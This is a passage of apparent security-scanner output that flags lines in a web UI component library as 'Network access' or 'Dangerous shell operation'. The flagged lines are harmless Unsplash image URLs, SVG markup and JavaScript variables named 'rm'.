    <button type="button" class="odl-more">View 4 more replies</button>         </li>         <li class="odl-c"><span class="odl-av" aria-hidden="true"><img src="https://images.unsplash.com/photo-1534751516642-a1af1ef26a56?w=80&h=80&fit=crop&au
  • Network accessline 89
    </li>         <li class="odl-c"><span class="odl-av" aria-hidden="true"><img src="https://images.unsplash.com/photo-1534751516642-a1af1ef26a56?w=80&h=80&fit=crop&auto=format&q=70" alt="" width="40" height="40" loading="lazy" decoding="async
  • Network accessline 90
    <li class="odl-c"><span class="odl-av" aria-hidden="true"><img src="https://images.unsplash.com/photo-1534751516642-a1af1ef26a56?w=80&h=80&fit=crop&auto=format&q=70" alt="" width="40" height="40" loading="lazy" decoding="async"></span>
  • Network accessline 93
    <button type="button" class="odl-like" aria-pressed="false" data-n="9" aria-label="Like, 9 likes"><svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><path d="M19 14c1
  • Network accessline 94
    </li>         <li class="odl-c"><span class="odl-av" aria-hidden="true"><img src="https://images.unsplash.com/photo-1607569708758-0270aa4651bd?w=80&h=80&fit=crop&auto=format&q=70" alt="" width="40" height="40" loading="lazy" decoding="async
  • Network accessline 95
    <li class="odl-c"><span class="odl-av" aria-hidden="true"><img src="https://images.unsplash.com/photo-1607569708758-0270aa4651bd?w=80&h=80&fit=crop&auto=format&q=70" alt="" width="40" height="40" loading="lazy" decoding="async"></span>
  • Network accessline 100
    </ul>       <form class="odl-composer">         <span class="odl-av" aria-hidden="true"><img src="https://images.unsplash.com/photo-1611403119860-57c4937ef987?w=80&h=80&fit=crop&auto=format&q=70" alt="" width="40" height="40" loading="lazy"
  • Network accessline 101
    <form class="odl-composer">         <span class="odl-av" aria-hidden="true"><img src="https://images.unsplash.com/photo-1611403119860-57c4937ef987?w=80&h=80&fit=crop&auto=format&q=70" alt="" width="40" height="40" loading="lazy" decoding="a
  • Network accessline 102
    <span class="odl-av" aria-hidden="true"><img src="https://images.unsplash.com/photo-1611403119860-57c4937ef987?w=80&h=80&fit=crop&auto=format&q=70" alt="" width="40" height="40" loading="lazy" decoding="async"></span>

skills/opendesigner/assets/library/components/comment-thread/component.html

  • Network accessline 72
    <ol>     <li class="odl-comment">       <img class="odl-avatar" src="https://images.unsplash.com/photo-1725033489648-a819750348eb?w=64&h=64&fit=crop&crop=faces&auto=format&q=70" alt="" width="32" height="32" loading="lazy" decoding="async">
  • Network accessline 73
    <li class="odl-comment">       <img class="odl-avatar" src="https://images.unsplash.com/photo-1725033489648-a819750348eb?w=64&h=64&fit=crop&crop=faces&auto=format&q=70" alt="" width="32" height="32" loading="lazy" decoding="async">       <d
  • Network accessline 74
    <img class="odl-avatar" src="https://images.unsplash.com/photo-1725033489648-a819750348eb?w=64&h=64&fit=crop&crop=faces&auto=format&q=70" alt="" width="32" height="32" loading="lazy" decoding="async">
  • Network accessline 85
    <ol>             <li class="odl-comment">               <img class="odl-avatar" src="https://images.unsplash.com/photo-1438761681033-6461ffad8d80?w=48&h=48&fit=crop&crop=faces&auto=format&q=70" alt="" width="24" height="24" loading="lazy" d
  • Network accessline 86
    <li class="odl-comment">               <img class="odl-avatar" src="https://images.unsplash.com/photo-1438761681033-6461ffad8d80?w=48&h=48&fit=crop&crop=faces&auto=format&q=70" alt="" width="24" height="24" loading="lazy" decoding="async"> 
  • Network accessline 87
    <img class="odl-avatar" src="https://images.unsplash.com/photo-1438761681033-6461ffad8d80?w=48&h=48&fit=crop&crop=faces&auto=format&q=70" alt="" width="24" height="24" loading="lazy" decoding="async">
  • Network accessline 96
    </li>     <li class="odl-comment">       <img class="odl-avatar" src="https://images.unsplash.com/photo-1522529599102-193c0d76b5b6?w=64&h=64&fit=crop&crop=faces&auto=format&q=70" alt="" width="32" height="32" loading="lazy" decoding="async"
  • Network accessline 97
    <li class="odl-comment">       <img class="odl-avatar" src="https://images.unsplash.com/photo-1522529599102-193c0d76b5b6?w=64&h=64&fit=crop&crop=faces&auto=format&q=70" alt="" width="32" height="32" loading="lazy" decoding="async">       <d
  • Network accessline 98
    <img class="odl-avatar" src="https://images.unsplash.com/photo-1522529599102-193c0d76b5b6?w=64&h=64&fit=crop&crop=faces&auto=format&q=70" alt="" width="32" height="32" loading="lazy" decoding="async">
  • Network accessline 109
    </ol>   <form>     <img class="odl-avatar" src="https://images.unsplash.com/photo-1522529599102-193c0d76b5b6?w=64&h=64&fit=crop&crop=faces&auto=format&q=70" alt="" width="32" height="32" loading="lazy" decoding="async">
  • Network accessline 110
    <form>     <img class="odl-avatar" src="https://images.unsplash.com/photo-1522529599102-193c0d76b5b6?w=64&h=64&fit=crop&crop=faces&auto=format&q=70" alt="" width="32" height="32" loading="lazy" decoding="async">     <div class="odl-box">
  • Network accessline 111
    <img class="odl-avatar" src="https://images.unsplash.com/photo-1522529599102-193c0d76b5b6?w=64&h=64&fit=crop&crop=faces&auto=format&q=70" alt="" width="32" height="32" loading="lazy" decoding="async">

skills/opendesigner/assets/library/components/delivery-tracker/component.html

  • Network accessline 107
    </div>       <div class="odl-courier">         <img class="odl-av" src="https://images.unsplash.com/photo-1762066436642-945a40f35097?w=112&amp;h=112&amp;fit=crop&amp;auto=format&amp;q=70" alt="Kemal, your courier" width="56" height="56" loa
  • Network accessline 108
    <div class="odl-courier">         <img class="odl-av" src="https://images.unsplash.com/photo-1762066436642-945a40f35097?w=112&amp;h=112&amp;fit=crop&amp;auto=format&amp;q=70" alt="Kemal, your courier" width="56" height="56" loading="lazy" d
  • Network accessline 109
    <img class="odl-av" src="https://images.unsplash.com/photo-1762066436642-945a40f35097?w=112&amp;h=112&amp;fit=crop&amp;auto=format&amp;q=70" alt="Kemal, your courier" width="56" height="56" loading="lazy" decoding="async">

skills/opendesigner/assets/library/components/detail-drawer/component.html

  • Network accessline 100
    <dl>         <div><dt>Bill number</dt><dd><code>EVP-3390</code></dd></div>         <div><dt>Submitted by</dt><dd><span class="odl-person"><img src="https://images.unsplash.com/photo-1725033489648-a819750348eb?w=64&h=64&fit=crop&auto=format&
  • Network accessline 101
    <div><dt>Bill number</dt><dd><code>EVP-3390</code></dd></div>         <div><dt>Submitted by</dt><dd><span class="odl-person"><img src="https://images.unsplash.com/photo-1725033489648-a819750348eb?w=64&h=64&fit=crop&auto=format&q=70" alt="" 
  • Network accessline 102
    <div><dt>Submitted by</dt><dd><span class="odl-person"><img src="https://images.unsplash.com/photo-1725033489648-a819750348eb?w=64&h=64&fit=crop&auto=format&q=70" alt="" width="32" height="32" loading="lazy" decoding="async">Nandini Iyer</s

skills/opendesigner/assets/library/components/event-ticket/component.html

  • Network accessline 50
    <div class="odl-card">     <div class="odl-art">       <img src="https://images.unsplash.com/photo-1470229722913-7c0e2dbbafd3?w=768&h=520&fit=crop&auto=format&q=70" alt="Stage lights over a concert crowd" width="384" height="260" loading="l
  • Network accessline 51
    <div class="odl-art">       <img src="https://images.unsplash.com/photo-1470229722913-7c0e2dbbafd3?w=768&h=520&fit=crop&auto=format&q=70" alt="Stage lights over a concert crowd" width="384" height="260" loading="lazy" decoding="async">     
  • Network accessline 52
    <img src="https://images.unsplash.com/photo-1470229722913-7c0e2dbbafd3?w=768&h=520&fit=crop&auto=format&q=70" alt="Stage lights over a concert crowd" width="384" height="260" loading="lazy" decoding="async">

skills/opendesigner/assets/library/components/file-dropzone/component.html

  • Dangerous shell operationline 121
    const acts = document.createElement("span"), rm = tplRm.cloneNode(true);
  • Dangerous shell operationline 132
    const rm = e.target.closest("[data-remove]"), retry = e.target.closest("[data-retry]");

skills/opendesigner/assets/library/components/follow-suggestions/component.html

  • Network accessline 63
    <div class="odl-head"><h3 id="odl-fs-title">People you may know</h3><button type="button" class="odl-all">See all</button></div>     <ul class="odl-row">       <li class="odl-card"><span class="odl-top"><button type="button" class="odl-x" a
  • Network accessline 64
    <ul class="odl-row">       <li class="odl-card"><span class="odl-top"><button type="button" class="odl-x" aria-label="Remove Arash Tehrani from suggestions"><svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-linecap="round" s
  • Network accessline 65
    <li class="odl-card"><span class="odl-top"><button type="button" class="odl-x" aria-label="Remove Arash Tehrani from suggestions"><svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" aria
  • Network accessline 66
    <span class="odl-name">Arash Tehrani</span><span class="odl-handle">@arash.t</span>         <span class="odl-why"><span class="odl-mutual" aria-hidden="true"><img src="https://images.unsplash.com/photo-1596580817363-a4a8f67d4bc8?w=40&h=40&f
  • Network accessline 67
    <span class="odl-why"><span class="odl-mutual" aria-hidden="true"><img src="https://images.unsplash.com/photo-1596580817363-a4a8f67d4bc8?w=40&h=40&fit=crop&auto=format&q=70" alt="" width="20" height="20" loading="lazy" decoding="async"><img
  • Network accessline 68
    <button type="button" class="odl-follow" aria-pressed="false" aria-label="Follow Arash Tehrani"><svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><path d="M20 6 9 17
  • Network accessline 69
    <li class="odl-card"><span class="odl-top"><button type="button" class="odl-x" aria-label="Remove Leilani Kahale from suggestions"><svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" ari
  • Network accessline 70
    <span class="odl-name">Leilani Kahale</span><span class="odl-handle">@leilani.k</span>         <span class="odl-why"><span class="odl-mutual" aria-hidden="true"><img src="https://images.unsplash.com/photo-1684598273404-2d94d7a7ce2f?w=40&h=4
  • Network accessline 71
    <span class="odl-why"><span class="odl-mutual" aria-hidden="true"><img src="https://images.unsplash.com/photo-1684598273404-2d94d7a7ce2f?w=40&h=40&fit=crop&auto=format&q=70" alt="" width="20" height="20" loading="lazy" decoding="async"><img
  • Network accessline 72
    <button type="button" class="odl-follow" aria-pressed="true" aria-label="Follow Leilani Kahale"><svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><path d="M20 6 9 17
  • Network accessline 73
    <li class="odl-card"><span class="odl-top"><button type="button" class="odl-x" aria-label="Remove Henrik Strandberg from suggestions"><svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" 
  • Network accessline 75
    <span class="odl-why"><span>New to the app</span></span>         <button type="button" class="odl-follow" aria-pressed="false" aria-label="Follow Henrik Strandberg"><svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-linecap="
  • Network accessline 76
    <button type="button" class="odl-follow" aria-pressed="false" aria-label="Follow Henrik Strandberg"><svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><path d="M20 6 
  • Network accessline 77
    <li class="odl-card"><span class="odl-top"><button type="button" class="odl-x" aria-label="Remove Mireille Vasseur from suggestions"><svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" a
  • Network accessline 78
    <span class="odl-name">Mireille Vasseur</span><span class="odl-handle">@mireille.v</span>         <span class="odl-why"><span class="odl-mutual" aria-hidden="true"><img src="https://images.unsplash.com/photo-1607569708758-0270aa4651bd?w=40&
  • Network accessline 79
    <span class="odl-why"><span class="odl-mutual" aria-hidden="true"><img src="https://images.unsplash.com/photo-1607569708758-0270aa4651bd?w=40&h=40&fit=crop&auto=format&q=70" alt="" width="20" height="20" loading="lazy" decoding="async"></sp
  • Network accessline 80
    <button type="button" class="odl-follow" aria-pressed="false" aria-label="Follow Mireille Vasseur"><svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><path d="M20 6 9
  • Network accessline 81
    <li class="odl-card"><span class="odl-top"><button type="button" class="odl-x" aria-label="Remove Yuki Hanabusa from suggestions"><svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" aria
  • Network accessline 82
    <span class="odl-name">Yuki Hanabusa</span><span class="odl-handle">@yuki_h</span>         <span class="odl-why"><span class="odl-mutual" aria-hidden="true"><img src="https://images.unsplash.com/photo-1531746020798-e6953c6e8e04?w=40&h=40&fi
  • Network accessline 83
    <span class="odl-why"><span class="odl-mutual" aria-hidden="true"><img src="https://images.unsplash.com/photo-1531746020798-e6953c6e8e04?w=40&h=40&fit=crop&auto=format&q=70" alt="" width="20" height="20" loading="lazy" decoding="async"><img

skills/opendesigner/assets/library/components/itinerary/component.html

  • Network accessline 89
    </svg>     </div>     <div class="odl-panels"><div class="odl-panel" role="tabpanel" id="odl-it-p1" aria-labelledby="odl-it-t1"><p class="odl-dayname">Arrive in Kyoto</p><ol class="odl-line"><li><span class="odl-node" aria-hidden="true"><sv
  • Network accessline 90
    </div>     <div class="odl-panels"><div class="odl-panel" role="tabpanel" id="odl-it-p1" aria-labelledby="odl-it-t1"><p class="odl-dayname">Arrive in Kyoto</p><ol class="odl-line"><li><span class="odl-node" aria-hidden="true"><svg viewBox="
  • Network accessline 91
    <div class="odl-panels"><div class="odl-panel" role="tabpanel" id="odl-it-p1" aria-labelledby="odl-it-t1"><p class="odl-dayname">Arrive in Kyoto</p><ol class="odl-line"><li><span class="odl-node" aria-hidden="true"><svg viewBox="0 0 24 24" 

skills/opendesigner/assets/library/components/kanban-column/component.html

  • Network accessline 68
    <span class="odl-spacer"></span>         <span><svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><path d="M21 15a2 2 0 0 1-2 2H7l-4 4V5a2 2 0 0 1 2-2h14a2 2 0 0 1 2 
  • Network accessline 69
    <span><svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><path d="M21 15a2 2 0 0 1-2 2H7l-4 4V5a2 2 0 0 1 2-2h14a2 2 0 0 1 2 2z"/></svg>6<span class="odl-sr"> comment
  • Network accessline 70
    <img class="odl-avatar" src="https://images.unsplash.com/photo-1725033489648-a819750348eb?w=48&h=48&fit=crop&crop=faces&auto=format&q=70" alt="Assigned to Nandini Iyer" width="24" height="24" loading="lazy" decoding="async">
  • Network accessline 79
    <span class="odl-spacer"></span>         <span><svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><path d="M21 15a2 2 0 0 1-2 2H7l-4 4V5a2 2 0 0 1 2-2h14a2 2 0 0 1 2 
  • Network accessline 80
    <span><svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><path d="M21 15a2 2 0 0 1-2 2H7l-4 4V5a2 2 0 0 1 2-2h14a2 2 0 0 1 2 2z"/></svg>2<span class="odl-sr"> comment
  • Network accessline 81
    <img class="odl-avatar" src="https://images.unsplash.com/photo-1438761681033-6461ffad8d80?w=48&h=48&fit=crop&crop=faces&auto=format&q=70" alt="Assigned to Bettina Marangoni" width="24" height="24" loading="lazy" decoding="async">
  • Network accessline 90
    <span class="odl-spacer"></span>         <span><svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><path d="M21 15a2 2 0 0 1-2 2H7l-4 4V5a2 2 0 0 1 2-2h14a2 2 0 0 1 2 
  • Network accessline 91
    <span><svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><path d="M21 15a2 2 0 0 1-2 2H7l-4 4V5a2 2 0 0 1 2-2h14a2 2 0 0 1 2 2z"/></svg>11<span class="odl-sr"> commen
  • Network accessline 92
    <img class="odl-avatar" src="https://images.unsplash.com/photo-1522529599102-193c0d76b5b6?w=48&h=48&fit=crop&crop=faces&auto=format&q=70" alt="Assigned to Kwabena Asante" width="24" height="24" loading="lazy" decoding="async">

skills/opendesigner/assets/library/components/leaderboard/component.html

  • Network accessline 79
    <div class="odl-panel odl-week">       <ol class="odl-podium" aria-label="Top three, this week">         <li class="odl-p odl-p1"><span class="odl-ph"><svg class="odl-crown" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-linec
  • Network accessline 80
    <ol class="odl-podium" aria-label="Top three, this week">         <li class="odl-p odl-p1"><span class="odl-ph"><svg class="odl-crown" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" aria
  • Network accessline 81
    <li class="odl-p odl-p1"><span class="odl-ph"><svg class="odl-crown" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><path d="M11.562 3.266a.5.5 0 0 1 .876 0L15.39 8.87
  • Network accessline 82
    <li class="odl-p odl-p2"><span class="odl-ph"><img class="odl-pav" src="https://images.unsplash.com/photo-1544168190-79c17527004f?w=128&h=128&fit=crop&crop=faces&auto=format&q=70" alt="" width="64" height="64" loading="lazy" decoding="async
  • Network accessline 83
    <li class="odl-p odl-p3"><span class="odl-ph"><img class="odl-pav" src="https://images.unsplash.com/photo-1607503873903-c5e95f80d7b9?w=128&h=128&fit=crop&crop=faces&auto=format&q=70" alt="" width="64" height="64" loading="lazy" decoding="as
  • Network accessline 84
    </ol>       <ol class="odl-list" aria-label="Ranks 4 and below, this week">         <li class="odl-row"><span class="odl-rank">4</span><img class="odl-av" src="https://images.unsplash.com/photo-1605988941502-372407d1dac5?w=80&h=80&fit=crop&
  • Network accessline 85
    <ol class="odl-list" aria-label="Ranks 4 and below, this week">         <li class="odl-row"><span class="odl-rank">4</span><img class="odl-av" src="https://images.unsplash.com/photo-1605988941502-372407d1dac5?w=80&h=80&fit=crop&crop=faces&a
  • Network accessline 86
    <li class="odl-row"><span class="odl-rank">4</span><img class="odl-av" src="https://images.unsplash.com/photo-1605988941502-372407d1dac5?w=80&h=80&fit=crop&crop=faces&auto=format&q=70" alt="" width="40" height="40" loading="lazy" decoding="
  • Network accessline 87
    <li class="odl-row"><span class="odl-rank">5</span><img class="odl-av" src="https://images.unsplash.com/photo-1770096951056-c94a812e9fd4?w=80&h=80&fit=crop&crop=faces&auto=format&q=70" alt="" width="40" height="40" loading="lazy" decoding="
  • Network accessline 88
    <li class="odl-row"><span class="odl-rank">6</span><img class="odl-av" src="https://images.unsplash.com/photo-1637325262485-5cf1abb98c05?w=80&h=80&fit=crop&crop=faces&auto=format&q=70" alt="" width="40" height="40" loading="lazy" decoding="
  • Network accessline 89
    <li class="odl-row"><span class="odl-rank">7</span><img class="odl-av" src="https://images.unsplash.com/photo-1784651989032-b55410f21e52?w=80&h=80&fit=crop&crop=faces&auto=format&q=70" alt="" width="40" height="40" loading="lazy" decoding="
  • Network accessline 90
    <li class="odl-row"><span class="odl-rank">8</span><img class="odl-av" src="https://images.unsplash.com/photo-1541823709867-1b206113eafd?w=80&h=80&fit=crop&crop=faces&auto=format&q=70" alt="" width="40" height="40" loading="lazy" decoding="
  • Network accessline 91
    <li class="odl-gap" aria-hidden="true"><span></span><span></span><span></span></li>         <li class="odl-row is-you" aria-current="true"><span class="odl-rank">14</span><img class="odl-av" src="https://images.unsplash.com/photo-1596075700
  • Network accessline 92
    <li class="odl-row is-you" aria-current="true"><span class="odl-rank">14</span><img class="odl-av" src="https://images.unsplash.com/photo-1596075700978-ecba72d16eb0?w=80&h=80&fit=crop&crop=faces&auto=format&q=70" alt="" width="40" height="4
  • Network accessline 95
    <div class="odl-panel odl-all">       <ol class="odl-podium" aria-label="Top three, all time">         <li class="odl-p odl-p1"><span class="odl-ph"><svg class="odl-crown" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-linecap
  • Network accessline 96
    <ol class="odl-podium" aria-label="Top three, all time">         <li class="odl-p odl-p1"><span class="odl-ph"><svg class="odl-crown" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" aria-
  • Network accessline 97
    <li class="odl-p odl-p1"><span class="odl-ph"><svg class="odl-crown" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><path d="M11.562 3.266a.5.5 0 0 1 .876 0L15.39 8.87
  • Network accessline 98
    <li class="odl-p odl-p2"><span class="odl-ph"><img class="odl-pav" src="https://images.unsplash.com/photo-1566616213894-2d4e1baee5d8?w=128&h=128&fit=crop&crop=faces&auto=format&q=70" alt="" width="64" height="64" loading="lazy" decoding="as
  • Network accessline 99
    <li class="odl-p odl-p3"><span class="odl-ph"><img class="odl-pav" src="https://images.unsplash.com/photo-1632765854612-9b02b6ec2b15?w=128&h=128&fit=crop&crop=faces&auto=format&q=70" alt="" width="64" height="64" loading="lazy" decoding="as
  • Network accessline 100
    </ol>       <ol class="odl-list" aria-label="Ranks 4 and below, all time">         <li class="odl-row"><span class="odl-rank">4</span><img class="odl-av" src="https://images.unsplash.com/photo-1565884280295-98eb83e41c65?w=80&h=80&fit=crop&c
  • Network accessline 101
    <ol class="odl-list" aria-label="Ranks 4 and below, all time">         <li class="odl-row"><span class="odl-rank">4</span><img class="odl-av" src="https://images.unsplash.com/photo-1565884280295-98eb83e41c65?w=80&h=80&fit=crop&crop=faces&au
  • Network accessline 102
    <li class="odl-row"><span class="odl-rank">4</span><img class="odl-av" src="https://images.unsplash.com/photo-1565884280295-98eb83e41c65?w=80&h=80&fit=crop&crop=faces&auto=format&q=70" alt="" width="40" height="40" loading="lazy" decoding="
  • Network accessline 103
    <li class="odl-row"><span class="odl-rank">5</span><img class="odl-av" src="https://images.unsplash.com/photo-1607503873903-c5e95f80d7b9?w=80&h=80&fit=crop&crop=faces&auto=format&q=70" alt="" width="40" height="40" loading="lazy" decoding="
  • Network accessline 104
    <li class="odl-row"><span class="odl-rank">6</span><img class="odl-av" src="https://images.unsplash.com/photo-1535713875002-d1d0cf377fde?w=80&h=80&fit=crop&crop=faces&auto=format&q=70" alt="" width="40" height="40" loading="lazy" decoding="
  • Network accessline 105
    <li class="odl-row"><span class="odl-rank">7</span><img class="odl-av" src="https://images.unsplash.com/photo-1605988941502-372407d1dac5?w=80&h=80&fit=crop&crop=faces&auto=format&q=70" alt="" width="40" height="40" loading="lazy" decoding="
  • Network accessline 106
    <li class="odl-row"><span class="odl-rank">8</span><img class="odl-av" src="https://images.unsplash.com/photo-1770096951056-c94a812e9fd4?w=80&h=80&fit=crop&crop=faces&auto=format&q=70" alt="" width="40" height="40" loading="lazy" decoding="
  • Network accessline 107
    <li class="odl-gap" aria-hidden="true"><span></span><span></span><span></span></li>         <li class="odl-row is-you" aria-current="true"><span class="odl-rank">211</span><img class="odl-av" src="https://images.unsplash.com/photo-159607570
  • Network accessline 108
    <li class="odl-row is-you" aria-current="true"><span class="odl-rank">211</span><img class="odl-av" src="https://images.unsplash.com/photo-1596075700978-ecba72d16eb0?w=80&h=80&fit=crop&crop=faces&auto=format&q=70" alt="" width="40" height="

skills/opendesigner/assets/library/components/lesson-streak/component.html

  • Network accessline 80
    </ul>     <div class="odl-unit">       <img src="https://images.unsplash.com/photo-1583354608715-177553a4035e?w=896&h=358&fit=crop&auto=format&q=70" alt="" width="896" height="358" loading="lazy" decoding="async">
  • Network accessline 81
    <div class="odl-unit">       <img src="https://images.unsplash.com/photo-1583354608715-177553a4035e?w=896&h=358&fit=crop&auto=format&q=70" alt="" width="896" height="358" loading="lazy" decoding="async">       <div><p>Unit 3 · Section 2</p>
  • Network accessline 82
    <img src="https://images.unsplash.com/photo-1583354608715-177553a4035e?w=896&h=358&fit=crop&auto=format&q=70" alt="" width="896" height="358" loading="lazy" decoding="async">

skills/opendesigner/assets/library/components/live-chat/component.html

  • Network accessline 97
    <div class="odl-stage">       <div class="odl-frame">         <img src="https://images.unsplash.com/photo-1470229722913-7c0e2dbbafd3?w=1600&h=900&fit=crop&auto=format&q=70" alt="Stage lights over the audience at the concert" width="1600" he
  • Network accessline 98
    <div class="odl-frame">         <img src="https://images.unsplash.com/photo-1470229722913-7c0e2dbbafd3?w=1600&h=900&fit=crop&auto=format&q=70" alt="Stage lights over the audience at the concert" width="1600" height="900" loading="lazy" deco
  • Network accessline 99
    <img src="https://images.unsplash.com/photo-1470229722913-7c0e2dbbafd3?w=1600&h=900&fit=crop&auto=format&q=70" alt="Stage lights over the audience at the concert" width="1600" height="900" loading="lazy" decoding="async">
  • Network accessline 103
    <h3>Night two at the Quayside Room, full set</h3>         <div class="odl-channel">           <img class="odl-host" src="https://images.unsplash.com/photo-1543949806-2c9935e6aa78?w=96&h=96&fit=crop&auto=format&q=70" alt="" width="96" height
  • Network accessline 104
    <div class="odl-channel">           <img class="odl-host" src="https://images.unsplash.com/photo-1543949806-2c9935e6aa78?w=96&h=96&fit=crop&auto=format&q=70" alt="" width="96" height="96" loading="lazy" decoding="async">           <div><p c
  • Network accessline 105
    <img class="odl-host" src="https://images.unsplash.com/photo-1543949806-2c9935e6aa78?w=96&h=96&fit=crop&auto=format&q=70" alt="" width="96" height="96" loading="lazy" decoding="async">
  • Network accessline 111
    <aside class="odl-chat" aria-labelledby="odl-lc-title">       <div class="odl-chat-top"><h4 id="odl-lc-title">Live chat</h4><span class="odl-count"><svg viewBox="0 0 24 24" aria-hidden="true"><path d="M16 21v-2a4 4 0 0 0-4-4H6a4 4 0 0 0-4 4
  • Network accessline 112
    <div class="odl-chat-top"><h4 id="odl-lc-title">Live chat</h4><span class="odl-count"><svg viewBox="0 0 24 24" aria-hidden="true"><path d="M16 21v-2a4 4 0 0 0-4-4H6a4 4 0 0 0-4 4v2"/><circle cx="9" cy="7" r="4"/><path d="M22 21v-2a4 4 0 0 0
  • Network accessline 113
    <div class="odl-pin"><svg viewBox="0 0 24 24" aria-hidden="true"><path d="M12 17v5"/><path d="M9 10.76a2 2 0 0 1-1.11 1.79l-1.78.9A2 2 0 0 0 5 15.24V16a1 1 0 0 0 1 1h12a1 1 0 0 0 1-1v-.76a2 2 0 0 0-1.11-1.79l-1.78-.9A2 2 0 0 1 15 10.76V7a1 
  • Network accessline 114
    <ol class="odl-log" role="log" aria-live="polite" aria-label="Messages" tabindex="0">         <li><img class="odl-av" src="https://images.unsplash.com/photo-1518725522904-4b3939358342?w=64&h=64&fit=crop&auto=format&q=70" alt="" width="64" h
  • Network accessline 115
    <li><img class="odl-av" src="https://images.unsplash.com/photo-1518725522904-4b3939358342?w=64&h=64&fit=crop&auto=format&q=70" alt="" width="64" height="64" loading="lazy" decoding="async"><p><span class="odl-who"><b>tidepool_kai</b></span>
  • Network accessline 116
    <li><img class="odl-av" src="https://images.unsplash.com/photo-1614273867161-22da2cd8ab39?w=64&h=64&fit=crop&auto=format&q=70" alt="" width="64" height="64" loading="lazy" decoding="async"><p><span class="odl-who"><b>marguerite.v</b><span c
  • Network accessline 117
    <li><img class="odl-av" src="https://images.unsplash.com/photo-1770058428159-50cca6566c19?w=64&h=64&fit=crop&auto=format&q=70" alt="" width="64" height="64" loading="lazy" decoding="async"><p><span class="odl-who"><b>oakleaf</b><span class=
  • Network accessline 118
    <li><img class="odl-av" src="https://images.unsplash.com/photo-1564866657311-e9cc905d29cf?w=64&h=64&fit=crop&auto=format&q=70" alt="" width="64" height="64" loading="lazy" decoding="async"><p><span class="odl-who"><b>bram_k</b></span><span 
  • Network accessline 119
    <li><img class="odl-av" src="https://images.unsplash.com/photo-1617309644714-89d2ab1c9e19?w=64&h=64&fit=crop&auto=format&q=70" alt="" width="64" height="64" loading="lazy" decoding="async"><p><span class="odl-who"><b>lunafjord</b><span clas
  • Network accessline 120
    <li><img class="odl-av" src="https://images.unsplash.com/photo-1573497019940-1c28c88b4f3e?w=64&h=64&fit=crop&auto=format&q=70" alt="" width="64" height="64" loading="lazy" decoding="async"><p><span class="odl-who"><b>pinecone_jo</b></span><
  • Network accessline 121
    <li><img class="odl-av" src="https://images.unsplash.com/photo-1543949806-2c9935e6aa78?w=64&h=64&fit=crop&auto=format&q=70" alt="" width="64" height="64" loading="lazy" decoding="async"><p><span class="odl-who"><b class="is-host">Oriane Val
  • Network accessline 122
    <li><img class="odl-av" src="https://images.unsplash.com/photo-1525599428495-0441bd5c67de?w=64&h=64&fit=crop&auto=format&q=70" alt="" width="64" height="64" loading="lazy" decoding="async"><p><span class="odl-who"><b>quietkettle</b></span><
  • Network accessline 144
    li.className = "is-new";     av.className = "odl-av"; av.alt = ""; av.width = 64; av.height = 64; av.decoding = "async";     av.src = "https://images.unsplash.com/photo-1611403119860-57c4937ef987?w=64&h=64&fit=crop&auto=format&q=70";
  • Network accessline 145
    av.className = "odl-av"; av.alt = ""; av.width = 64; av.height = 64; av.decoding = "async";     av.src = "https://images.unsplash.com/photo-1611403119860-57c4937ef987?w=64&h=64&fit=crop&auto=format&q=70";     who.className = "odl-who"; b.te
  • Network accessline 146
    av.src = "https://images.unsplash.com/photo-1611403119860-57c4937ef987?w=64&h=64&fit=crop&auto=format&q=70";

skills/opendesigner/assets/library/components/media-shelf/component.html

  • Network accessline 55
    <div class="odl-top"><h3 id="odl-ms-cw">Continue watching</h3><div class="odl-nav"><button type="button" class="odl-prev" aria-label="Scroll Continue watching back"><svg class="odl-i odl-i-left" viewBox="0 0 24 24" fill="none" stroke="curre
  • Network accessline 56
    <ul aria-labelledby="odl-ms-cw" tabindex="0">       <li><button type="button" class="odl-item" aria-label="Resume Fogbound, season 2 episode 4, 22 minutes left"><span class="odl-art"><img src="https://images.unsplash.com/photo-1578429827733
  • Network accessline 57
    <li><button type="button" class="odl-item" aria-label="Resume Fogbound, season 2 episode 4, 22 minutes left"><span class="odl-art"><img src="https://images.unsplash.com/photo-1578429827733-272eb6d7972e?w=640&h=360&fit=crop&auto=format&q=70"
  • Network accessline 58
